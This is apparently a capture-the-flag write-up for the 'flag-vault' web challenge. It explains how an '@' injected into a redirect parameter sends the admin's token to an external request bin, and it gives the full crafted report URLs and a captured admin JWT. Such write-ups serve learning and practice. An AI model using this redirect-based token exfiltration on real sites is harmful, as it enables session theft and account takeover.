- Category: Web
- 250 Points
- Solved by the JCTF Team
Steps of Analysis
We're taken into a small site:
Its body looks like that:
POST request sent with the email and password and a secret token probably sent back when the email and the password is correct. Two interesting points there are:
- The "report a bug" button
- The redirect mechanism
Needless to say that we don't know the "correct" email and password:
2. Report a Bug
We can "report" a bug by sending a URL
We assume that "someone" (probably the admin) will enter that link later to watch the given link.
We'd like to make the admin in the other side to enter a link that controlled by us (like in a request bin) to get his cookies (the token in our case)
The problem with the above idea is that the server returns an error when it gets external URL.
So we can't send in the "report bug" request a direct link to the request bin because sending: http://flag-vault.chal.intentsummit.org/api/v1/report?url=http://enqr0riu3ob4o6p.m.pipedream.net will result in:
Therefore the link that we give here should be in the same domain.
All in all looks ok, and no bugs being seen so far... :(
But fortunately, there is another place in the code that can send (redirect) us to other place.
The bug is in the redirect mechanism
The redirection mechanism here takes the content of a parameter named "redirect":
const redirectTo = String(query.redirect || "");
And later concatenates the current address to it
window.location = location.origin + redirectTo + "?token=" + jsonData.token;
Can we make this expression to go outside the domain?
We can use the current address to be parsed as a username instead of an address by concatenating to it an "@" symbol.
In that way, sending @enqr0riu3ob4o6p.m.pipedream.net as "redirect" parameter will result in changing the window location to: http://[email protected] The previously-domain-name is now used as a username :)
So far, we want to report an address in the domain.
And we want the admin to enter it and to be redirected to the our request-bin, hopefully with its token.
We can achieve it by reporting on this URL: http://flag-vault.chal.intentsummit.org/[email protected]
The address here is in the "right domain", and upon redirection the "right domain" will be treated as a username.
According to the above, we'll send this request first: http://flag-vault.chal.intentsummit.org/api/v1/report?url=http://flag-vault.chal.intentsummit.org/[email protected] In response we get the token to the request bin!
The expiration date of the token is 10 seconds, so in that time we should quickly send: http://flag-vault.chal.intentsummit.org/admin/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjM2OTI1NTU0LCJleHAiOjE2MzY5MjU1NjR9.kkBa7w3fkp2kO06TcV-V1lYQFCrfNVBIbG5TFd8RS1I response: